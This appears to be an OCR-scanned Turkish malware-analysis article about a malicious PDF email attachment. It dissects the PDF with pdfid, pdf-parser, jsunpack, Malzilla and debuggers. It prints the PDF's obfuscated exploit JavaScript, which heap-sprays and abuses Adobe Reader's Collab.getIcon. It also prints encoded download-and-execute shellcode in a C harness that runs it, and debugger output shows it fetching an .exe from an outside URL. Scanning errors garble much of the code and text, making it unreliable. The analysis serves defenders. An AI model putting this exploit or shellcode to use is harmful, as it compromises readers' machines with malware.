--- PDF Malware Analiz---

Tehlikeli Dokiimanlar

GUnUmuz sartlarinda E-Mail(Elektronik Posta) kullanimi, dékiiman génderim islemini de
kolaylastirmaktadir. Hazirlanan bir belge, aninda kullaniciya E-Posta ile
gbénderilebilmektedir.

Durum bu sekilde olunca zararli uygulamalarin /program(cik)larin/ yayilma olasiligi da
artmaktadir. Ozellikle son giinlerde kullanicilari tehlikeli duruma disiren zararli
programlar

PDF tlru dosyalarla yayillmaktadir.

Bu yayilma islemi nasil gerceklesmektedir?

Yayilma islemi, .pdf belge icine gizlenen kod parcgaciklari aracihdiyla, Adobe Acrobat
Reader uygulamasinda yer alan uygulama zafiyetinden faydalanmaktadir. PDF, Adobe
firmasi tarafindan gelistirilmistir(Portable Document Format Tasinabilir Dosya Formati).
Neticesinde bir gok kullanici tarafindan kullanilan bir dosya formati olup, kullanim orani
artmaktadir. Ozellikle sirketler dékiimantasyon islerinde pdf formatini cok tercih
etmektedirler.

Bu yazimda E-Posta iletimde karsilastigim bir .pdf belgesi lizerinde gergeklestirdigim
analizi anlatacagim. E-Postalarimi kontrol ederken “Re:Doc” adi altinda bir e-posta
gordim(Rresim 1). Gelen postay! inceledigimde,ekinde bir .pdf dosyasi yeralmaktaydi
(Resim 2). Bu pdf dosyasini incelemek igin kayit altina aldim.
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Prewvious | Mext | Back to Messages
Delete Reply = Forward Spam Mowe... =

™ Re: doc.
From: "parri@netstable. com" <parr@netstable. com=> E_

To: tankitobrown@yahoo,.com
# 1 File (32KB)

Here about which vou asked the document.
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Oncelikle kayit altina aldigim bu .pdf dosyasini gesitli antiviriislerle tarama islemine tabi
tuttum.

Fakat dosya temiz goérinidyordu(Antivirtslere gore). Dosya gercektende temiz ya da
gozden saklanmasi icin belge igerisine bir dizi kod yerlestirilmisti.
Incelemeye devam ettim.

# pdfid.py UnionRfc.pdf
PDFiD 0.0.11 UnionRfc.pdf
PDF Header: %POF-1.3
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# pdfid.py UnionRfc.pdf (Resim -3)
"pdfid.py" ile pdf belgesinin kimlik bilgilerini(ID) inceledigimde Javascript kisminda 2
degeri, OpenAction kisminda 0 dederi mevcut. OpenAction 0 ise belge acildiginda bir
hareketlilik yok. Javascript 2 dederi olmasi, belgenin kalbinde mevcut olan bir hareketlilik
s6z konusudur. Belge icine javascript kodu gomuli oldugu kesin.
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735 |

swiu = [ functionyv(v){return this:} ) . callyvinully);

mrp = new Datei(%):

var aou='";

var 1oo = 'e'+\(parselnti(mrp.getFull¥eary ()% -1%)+'a" +acu+'l";

yv=swiu[ioco.replace’('2009', 'v'\]]:

function beczh(y){
var dezk
var aou='
FATAY aou+'r zquz=th'+aou+'i'+aou+'s'y);
yusl 'va'+aou+'r kij=Str'+aou+'ing. f'+aou+' romC' +aou+ ' harCode ")
var jyp='prod' + mrp.getFullYeari(y)+'er';
var hfy zquz[jyp.replace’| '20010", 'uc'y) ] ;
var xtph = YWD + aou + '1f+aocu+'t';
var ckqgg E20TR

"uval=[]:

yuih i 'va'+uwl+'r n' o+ @ou + ‘r=[' + hfy + wwl + ']
var xluf = nr;

bhg=" +@ou+'ng' +aou+'th';

var hcsh = xluflbbgl

for “var nvm = @; nvm = hesh: nvm++%] {
dezk += kijsi{xluflnvm+hcsh]l - xluflnvmly):

eturn dezk;
var wop=bcz\iy);
yvi (woph)

Resim-5
#pdf-parser.py UnionRfc.pdf (Resim 4-5)

"pdf-parser.py" ile pdf icine gémull olan parcgalar gérelim.

Parcgalari inceledikge bazi kodlar gériyoruz.

Ilk etapta bu javascript kodlarini gérdiigiimiizde siiphe uyandirici bir durum olmayabilir.
Daha iyi bir inceleme icin pdf dosyasiiginde, kimlik bilgileri adi altina gémli olan kisimlari
bir ¢bzelim. Bunun igin "jsunpack" isimli uygulamadan faydalanalim.

root@bt:/home/analiz/pdf# cd jsunpack/

root@bt:/home/analiz/pdf/jsunpack# ./jsunpackn.py ../UnionRfc.pdf <----C6ziimleme

root@bt:/home/analiz/pdf/jsunpack# cd files/

root@bt:/home/analiz/pdf/jsunpack/files# Is -la

total 124

drwxr-xr-x 3 root root 4096 Dec 6 04:14 .

drwxr-xr-x 6 root root 4096 Dec 6 04:23 ..

-rw-r--r-- 1 root root 109666 Dec 6 04:23 decoding_967f97e379600eefcdf21a508d11bf79a13a5033 <----- olusan goziimleme dosyasi

root@bt:/home/analiz/pdf/jsunpack/files# less decoding_967f97e379600eefcdf21a508d11bf79a13a5033 <---dosya iginde neler var?

info.producer = String('381\x2c1315\x2c925\x2¢1948\x2¢7\x2¢1306\x2¢1038\x2¢797\x2¢1723\x2¢1064\x2¢385\
........................................ \x2¢1697\x2c995\x2¢1725\x2¢527\x2¢805\x2c696\x2¢ 176\x2¢1606\x2¢1018\x2¢1305\. ..

var hfy = zquz[jyp.replace('2010','uc")];
var xtph =" + mrp.getFullYear() + aou + 'i'"taou+'t';
var ckqg ='s' + xtph.replace('2010','pl');
var vwl='2010";
vwl = vwl.replace(mrp.getFullYear(),");
yv('va'tvwl+'r n' + aou + 'r=[' + hfy + vwl +'T);
var xluf = nr;
bbg='le'+aou+'ng'+aou+'th’;
var hcsh = xluf[bbg] / 2;
for (var nvm = 0; nvm < hcsh; nvm++) {
dezk += kij(xluffnvm+hcsh] - xluffnvm]);
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Inceleme itibariyle dikkat ceken 2 kisim bulunmaktadir. /Producer kismi ve javascript kod
bulunan /JS kismi.
PDF dosya iceriginde 1k gdriintiste javascript kodundan baska dikkate deder bir kisim
gérinmemektedir.
Procuder kisminda yer alan dederler bizi sonuca ulasmamizda blytk rol oynadigi kesin.
Nasil mi?
Producer dizininde yer alan dederleri javascript kodu vasitasiyla ¢6ziimlendigi asinadir.
Javascript kodu vasitasiyla kendi céziimleyici kodu yazdigimizda gercek niyet ortaya cikar.

var ayrim = pr cer.length /7 2;

for (var artis = 0; artis = ayrim; artis++])

gizlenmis += String.fromCharCodelproducer[artis+ayrim] - producer[artis] 1:
i
nrint(gizlenmis) ;

Resim-6

Producer kisminda yer alan sayi dizimini anlaml hale getirmek icin PDF igin gbmilen
javascript kodundan faydalandikBoylece Producer dizelerini birlestirmeye yarayan "gizli.js"
adi altinda kiguk bir kod olusturduk(resim-6).

Cozumleme isini gerceklestiren déngu:

var ayrim = producer.length / 2;
for (var artis = 0; artis < ayrim; artis++)

{

gizlenmis += String.fromCharCode(producer[artis+ayrim] - producer[artis] );

¥
Bu ddéngu producer kismindaki sayi dizimlerini daha anlasilir hale getirmektedir.
print(gizlenmis);

ile say! dizimini ekrana yansitiyoruz.
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..Bingo..... Producer dize degerlerini ¢coziimledik. Iste gercek amag bu javascript kodunda
yer almaktadir.
Bu_kod ne anlama geliyor?

H
function geticond(){
war arry = new Arrag();
if {app.doc.Collab.getIcon){
wvar payload = unescape{gj);
var hHq5ABCH = payload.length = 23
var fw = @xhoooon (higSOBECH + Ox38);
var yarsp = unescape("Tu?000Eut800");
yarsp = juliyarsp, Fw);
var pSAJKESF = (GxBcBclcOc - OxMO00B0) S Ox400000;
for (var uqcQD96y = B; wqcdDPoy < pSAIHASF; vgolDPGy ++ ){
arry[vqcD96y] = yarsp + payload;

¥

var tUMMHBGY = unescape( %09

while (tUMhHbGw.Llength < uxunnn:(
tUHhMbEw += tUHhHbGw;

tUMhHDGY = “H." + tUMhHBGW;
app-doc.Collab . get Tcon{ EUHRHBGW) ;
¥

dPlugul_, = app.pluglins;
var su = parselnt{app. viewerversion. toString()-charat(a));
bl

for (var 3 = 0; i ¢ aPlugins.length; i ++ 3
if (aPlugins[i].nane == "EScript’){
war 1w = aPlugins[i].version;
H
if ({lu == 0) || {(sv == 8) BE (lv <= B.12)})}{

geticon();

¥
else if (lw == 7.1){
printf();

*
else if {({{sv == &) || (5w == 7)) B& (1w < 7.11)){
vEQd:

¥
else if ((le >= 9.1) || (lv <= 9.2} || (1w >= 8.13) || (1lv <= B.17) M
Function a{){
util.printd{ "p@1111 1111111111191 1991191 @ yyyy111°, new Date());
H

Resim-8
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Cozlimlenen kodu dizenli hale getirdigimizde geticon() , printf() ve yt() gibi fonksiyonlar
bir dizi islem yaptigi asikardir(resim-8). Yine gozle gorullr bir ipucu olarak "var gj=" altinda
yer alan dederlerdir (resim-7).
Bu dederler vasitasiyla Adobe Acrobat Reader programi lizerinde uygulama zaafiyeti
olusturulur.
PDF dosyasi icerisinden neler giktigini yavas yavas gormeye basladik. Ekrana yansiyan bu
¢6zimlenmis kod parcasinda 6nemli olan gj dederine aktarilan dizi dederidir. Bu deder
Adobe Acrobat yazilimda zafiyet olusturulmasi sonucu aktive edilecek temel kod
parcasidir. Bu kod pargasini nasil ¢gézimleriz?
Malzilla uygulamasini galistirarak kodu hexfile haline déntsturelim(resim-9/10).

Malzilla by bobby

e | |
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Dwcode UCSE () | ¢ Pustdeliviter Conssbenate 14 Tetmie | |

Resim-9 (#wine malzilla.exe)

Downioad | Decodes  Misc Decoders | Kadimero Processor | Shelloods anatyer | Log | Cloboard Moritor | Notes | Heee view | PSorigt | Too
Text | Her ||
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Olusturdugum hexfile.bin dosyasini inceleyelim. "strings" komutuda gbzle gérinir dise
dokunur bir bilgi vermedi.

root@bt:/home/analiz/pdf# strings hexfile.bin
Hg4s

Hg2w

pUG6H

_XIHH

hexview ile hexfile.bin icerigine baktigimizda, henangi anlasilir bir karakter dizimide
mevcut deén(Resim—]]).

Resim-11 (#hexedit hexview)

Karsimizda encode edilmis bir shellcode mevcut.

Anlasiliyor ki, bazi bilgiler sifrelenmis(encode). Céziimlemeye devam edelim.

Artik elimizde; PDF dosyasi analiziyle baslayip, dosya icerisine eklenen Javascript
parcaciginin incelenmesiyle el ettigimiz hexfile.bin dosyasi var.

Elde ettigimiz kodlari barindiran hexfile dosyasi bize neyi agiklayacak?

Hexfile.bin dosyasinin hex kodlarina ayirip, su kigtk kodun shellcode dizinine yazalim.

#cat hexfile.bin | perl -ne 's/(.)/printf "0x%02x,",0ord($1)/ge' > shellcode.txt

#more shellcode.txt
0x90,0x90,0x90,0x90,0xeb,0x16,0xb9,0x3d,0x01,0x00,0x00,0x8b. ...

#vi shellcode.c

#include <stdio.h>

#include <stdlib.h>

int main()

{

unsigned char shellcode[] = "\x90\x90\x90\x90\xeb\x 16\xb9\x3d\x01\x00\x 00\x8b\x34\x24\x8§9\x {7\x 80"
"\x3e\xe9\x74\x06\xac\x34\xb7\xaa\xe2\x fa\x c3\xe8\xe5\x f\x f\x f\x Se\xbb\xb6\xb 7\xb 7\x€9\x 36"
"\x5b\xeb\xb6\xb7\xb7\x3e\x50\x3a\xf8\xa7\x3a\xd8\xe3\x86\x6c\xe0\xe6\xed\xe4\xe4\xed\xe4\xe4"
"\xe4\xe2\xed\xe4\xdf\xb3\xb6\xb7\xb7\xe2\xe1\xe4\xdf\xd8\xd9\xb7\xb7\xdf\xc2\x c5\xdb\xda\xe3"
"\xd\x39\xf9\xb9\x 5b\x 5A\x f\xb7\xb7\xb7\xe7\x 5f\xcb\xb7\xb7\xb7\x48\x 6 7\x 34\x 73\xbf\x df\x 8"
"\x58\xf8\xb2\xe7\x5f\xdb\xb7\xb7\xb7\x48\x67\x32\x77\xc2\xa0\xdd\xe3\xee\x44\x 1 d\xdf\x c5\x49"
"\x04\xal\x5f\xaa\xb7\xb7\xb7\xe7\x5f\xe6\xb7\xb7\xb7\x48\x67\xe4\xdd\x49\xdf\x3¢\xd8\xb6\x0a"
"\x5f\xbf\xb7\xb7\xb7\xe7\x5f\x8b\xb7\xb7\xb7\x48\x67\xd7\x86\x77\xd3\x3c\xe7\x87\x3c\xe5\xbb"
"x3c\xe5\xa3\x3c\xc5\x9f\x0e\xaf\xb7\xb7\xb7\x86\x48\x86\x 77\x 1 b\x 8b\xd6\xcb\xb5\x9b\x 97\x 76"
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"\x78\xba\xb6\x70\x55\x47\x36\x48\x ec\xOb\x fd\x dd\x 3c\xf5\xa7\x3c\xa5\xc2\x6e\x3e\xf3\x93\xab"
"\xd6\x74\xd7\x3¢c\xdb\x93\x93\x3¢c\x 2\x 8b\x 3c\xe3\xb2\xcf\xb6\x 5d\x3c\x fd\xaf\x 3c\xed\x 9 7\xb6"
"\x5¢\x54\x83\xfe\x3¢c\x83\x3¢c\xb6\x56\x86\x48\x86'\x 77\x4b\x 1 b\x33\x 77\x¢3\xb0\x 76\x 78 \xba\xb6"
"\x70\x5¢\x43\x8¢\xcb\x93\x9f\xc2\x 56\x3c\xed\x93\xb6\x Sc\xd 1\x3 c\xbb\x fc\x 3¢c\xed\xab\xb6\x 5¢"
"\x3c\xb3\x3c\xb6\x5\x3e\xf3\x93\xab\xd6\x 75 \xb\xb7\x 5 f\x 58\x49\x48\x48\xdf\x c3\xc3\xc7\x8d"
"\x98\x98\xc7\xd8\xc4\xc3\xd4\xd6\xc5\xd3 \xc4\xc4\xd2\xc5\xc 1 \xde\xd4\xd2\xc4\x99\xd9\xd2\xc3"
"\x98\xd1\xdb\xd6\xc4\xdf\x99\xd2\xcf\xd2\xb7";

(*(void(*) ()) shellcode) ();
1

S
root@bt:/home/analiz/pdf# gcc —o shellcode shellcode.c

Artik elimizde bultlintyle Adobe Acrobat Reader uygulamasinin zafiyeti sonucunda
sistemde aktif hale gelen zararli uygulamanin bir parcasi bulunmaktadir. Artik bu
shellcode uygulamasini analiz ederek PDF dosyasinin temel amacini 6grenebiliriz.

gdb(RrResim-12) ya da Evan's Debugger(Resim-13) ile olusturdugumuz shellcode dosyasini
incelersek bu kodun bir indir-calistir parcasi oldugunu goéririz.

Adobe Acrobar Readerda olusturulan zaafiyet sayesinde bu kod hafizada calisarak bir
internet sitesinden.exe calistirilabilir dosyay! kullanicinin bilgisayarina indirerek, kullanici
artik bir havuzun parcasi haline gelir.

Anlasilacagi gibi kullanicinin bilgisayari, indirilen bu dosya sayesinde, saldirgan cesitli isler
icin kullanicinin bilgisayarini kontrol altina alir.

Bir pdf dosyasi araciligi ile kontrol disi dosyanin kullaniciya nasil aktarildigini anlamis
olduk.

Uygulamalardaki zaafiyetin ne derece boyutlara ulastiginida algilamis olduk.

#gdb ./shellcode (Resim-12)
(gdb) r

info reg

- 1076854656
134514380

Oxbfdo7ffc

:::HEIE::: Seip adresinde yer
".'jaj R alan karakter

dizimini goster

- 107685467
Oxbfdos2a4
IF RF ID |

Do=syay! indir we cabstr.
POF Do=yasiicine 2aklanan temel
amac budur.

Resim-12
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Fle View Debug Plugins Options Help |m®_____________ BinayString ________AENE]
onH a8’ Ascil [exe |
[pbfcT: fhad|64 8b 50 30 nov edx, dword pir fs: [eax+d8] | UTFr1EI J

bfe7: fhaB(Bh 52 Oc nov edy, dword ptr [eds+12]

bfc7: fhab (Bb 52 14 nov edx, dwerd ptr [ed:+20] He !2E 65 TH 65 J

bfc?: fhae (Bb T2 28 nov esi, dwerd ptr [ed:+d0]

bfc?: fbbl (kG 18 00 0O OO nov ecx, 24

bfc?: fob&(31 ff xor edi, edi

bfc?: fbbe |3l cO ADF 8K, ean

bfc7: fhba |ac lodsh

bfe7: fbbb (3¢ &1 cop al. 87

bfc7: fobd |7c 02 “j1 oxbfeTflel

bfc7: fbbf|3c 20 sub al. 32 1 [ Skip Regions With No Access Rights

bfc?: fbel|cl of od ror edi, 13 | S :

bfc?: focd |0l 7 sdd edi, eax 1 Case Sensifive

bfc?: fhok|e2 f0 “loop Oxbfc?fhba ! x ; TR I T

hir7 fhen|g) 44 Gh he Aa & rl\.:g]nd-| fivRadaheSh |} [ Show Results With This Address Alignment [‘Eﬁemﬂ"mmll |
edx = DBB4BECC r 10

Close Help Find
dword ptr fs:[eax+48] = [60O6030] = ? o (e 4
AT E IR
Data Dump &= Stack =l

wfc7: fafc |bfe 71970 |pUcs
£ | bicBO000-bIcA1000 | bfcBO0D0-bicB1000 bfc7: fo00|bfe7fez0|o0c [retumn to bfe7fe30
bc7: fez2[eB 89 44 24 1c 6l c2 OB 00 ed ef fe ff ff 68 74 bfc7: 904 [bfcTiocd | ADCE
bfc7: fc32|74 70 3a 2f 2f 70 6f 73 74 63 61 72 64 73 73 65 bfc7: fo08|bfc7fole|. O

(=]
(=]
bfc7: fcd2(72 76 60 63 65 73 2e Ge 65 74 2f 56 Bc 61 73 68 'l—l |hfc?-"90c 000D000G| .
=
-

bfc?: fcs2[2e 65 78 65 00 00 00 11 2d cd 80 fc c? bf 00 00|, hfcf"_'EiID 0B0485cc I_..
bfc?: fcs2|00 00 00 0D 0O B0 8 fc c7 bf d6 7b Bc b7 cO B4 bfc7:fold|bfcTio8a) . ag
bfc7: f918|bfcTfatd|.oC

Resim-13 (Evan's Debugger)
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